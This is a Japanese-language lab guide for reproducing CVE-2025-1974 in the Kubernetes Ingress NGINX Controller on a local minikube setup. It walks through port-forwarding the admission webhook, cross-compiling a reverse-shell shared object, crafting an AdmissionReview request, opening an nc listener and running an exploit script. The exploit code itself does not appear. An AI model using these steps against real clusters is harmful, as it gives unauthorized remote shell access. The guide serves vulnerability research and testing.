CVE-2025-1974: Kubernetes Ingress Nginx Controller 脆弱性分析及びPoC環境構築

テスト環境

• MacOS (M2)
• Ingress NGINX Controller 1.11.3
• Rancher Desktop (Docker)
• Minikube (Kubernetes)

ローカルテスト環境設定(M2 MacOS)

ローカルテストのためにminikubeをインストール

minikube start --driver=docker

以下のコマンドでingress-nginx-controllerを構成

kubectl apply -f ingress-nginx-controller.yml

ポートフォワーディング

Podsが正しく動作しているか確認

kubectl get pods -n ingress-nginx

kubectl describe <pod name> -n ingress-nginx

Podsの80、8443(webhook)ポートをローカルの8888、1337ポートにポートフォワーディング (ポートフォワーディング80、8443両方必要)

kubectl port-forward -n ingress-nginx <pod name> 8888:80

kubectl port-forward -n ingress-nginx <pod name> 1337:8443

SO(Shared Object Library) 準備

rev_shell.cでリバースシェルを接続するIP、Portを変更

MacOS(arm64)環境でコンパイル、テスト環境に合わせてコンパイルが必要

aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c

# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu

AdmissionReview作成(任意、既存の生成ファイルを利用しても可)

kube-reviewでAdmissionReview形式に変換(json)

./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json

Exploit

リバースシェルのためにncでリバースシェル接続を準備

nc -lv 4444

exploit.pyでnginx、webhookのhost及びportを修正後実行

python3 exploit.py